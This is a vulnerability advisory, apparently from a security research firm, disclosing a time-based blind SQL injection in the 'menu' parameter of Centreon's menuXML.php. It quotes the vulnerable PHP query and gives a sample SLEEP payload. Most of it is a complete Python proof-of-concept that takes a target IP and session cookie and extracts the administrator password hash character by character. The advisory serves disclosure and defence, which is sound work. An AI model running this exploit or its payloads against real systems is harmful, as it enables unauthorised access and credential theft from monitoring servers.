Centreon Enterprise Server 2.3.3 - 2.3.9-4: Blind SQL Injection

Centreon Enterprise Server 2.3.3 - 2.3.9-4: Blind SQL Injection

We discovered the vulnerability when we’re looking for alternate software in network monitoring. We know and we love Nagios, and so the Centreon, they provide a very nice interface of Nagios. Centreon provide nice features and ease of use when you’re dealing with network monitoring. The backend system is still Nagios, but the interface is totally different. You can view more features of Centreon here.

Fully Automated Nagios (FAN) also uses Centreon, thus the vulnerability also affects FAN as well.

Our research environment:

  • Centreon Enterprise Server (ces-standard-2.0-i386)
  • Centreon Application (2.3.9-4, latest update)

Vulnerability Overview

The vulnerability is a classic SQL injection, it occurred when an authorized user can see the web interface and have access to menuXML.php, which is by default enable on all user access. By injecting sql command in ‘menu’ parameter within request, let say ‘ AND SLEEP(5) AND ‘meHL’= ‘meHL, the web application response is hung for 5 seconds. It is obvious that the web application is vulnerable to Time-based SQL Injection.

The vulnerable code sits in /usr/share/centreon/www/menu/xml/menuXML.php, which is:

/*
* Get CSS from menuXML.php
*/
$DBRESULT2 = $pearDB->query("SELECT css_name FROM `css_color_menu` WHERE menu_nb = '".htmlentities($_GET["menu"], ENT_QUOTES, "UTF-8")."' LIMIT 1");
$menu_style = $DBRESULT2->fetchRow();

The menu parameter request wasn’t filtered properly, thus can lead to SQL injection after the menu parameter is passed.

Proof of Concept

We create a proof of concept script trying to get the admin hash. Here it goes:

#!/usr/bin/python
import sys,time,urllib,urllib2

print """
-=] Centreon 2.3.3 - 2.3.9-4 Time-based BlindSQLi Exploit [=-
[ by modpr0be - research[at]spentera.com ]
"""
host = raw_input("(!) We need the target IP: ")
target = 'http://%s/centreon/menu/xml/menuXML.php' %(host)

# sid is the same as PHPSESSID session value, so put the value of PHPSESSID here
sid = raw_input("(!) Put the value of a valid PHPSESSID session: ")
cookie = 'PHPSESSID=%s' %(sid)

# SQLi delay, tested on LAN environment.
# Consider if it's a remote target, you may increase the delay value (default: 1 seconds)
delay=1

print "(-) Using Time-Based method with %ds delay. This will take some time, go grab a coffee..\n"%int(delay)

def Hex2Des(item):
return ord(hex(item).replace('0x',''))

def adminhash(m,n):
#borrow from SQLmap :)
adminquery=("' AND 9999=IF((ORD(MID((SELECT IFNULL(CAST(contact_passwd AS CHAR),0x20) FROM contact"
" WHERE contact_id=1 LIMIT 0,1),%s,1)) > %s),SLEEP(%s),9999) AND 'mEhL'='mEhL" %(m,n,delay))

value = { 'menu': '2'+adminquery,
'sid': '%s'%(sid) }

url = "%s?%s" %(target,urllib.urlencode(value))
req = urllib2.Request(url)
req.add_header('Cookie', cookie)
try:
starttime=time.time()
response = urllib2.urlopen(req)
endtime = time.time()
return int(endtime-starttime)
except:
print '\n(-) Uh oh! Exploit fail..'
sys.exit(0)

sys.stdout.write('(!) Getting admin password hash: ')
sys.stdout.flush()

starttime = time.time()
for m in range(1,33):
for n in range(0,16):
wkttunggu = adminhash(m,Hex2Des(n))
if (wkttunggu < delay):
sys.stdout.write(chr(Hex2Des(n)))
sys.stdout.flush()
break
endtime = time.time()
print "\n(-) Done! Admin password hash extracted in %d seconds" %int(endtime-starttime)

 

You need a valid PHP session for this exploit to work, in other means, you need to login to the web application (guest user is OK!). In this PoC, the valid PHP session are 3uh52mtl1hlmsha4nmkftde5l3.

Solution

Currently we are not aware of any practical solution for this vulnerability. But you are suggested to limit access to the Centreon web administration, and verify each user who has access to it.

References

Thank you to CERT/CC for working with this vulnerability disclosure.
Vulnerability Notes DB on CERT/CC: http://www.kb.cert.org/vuls/id/856892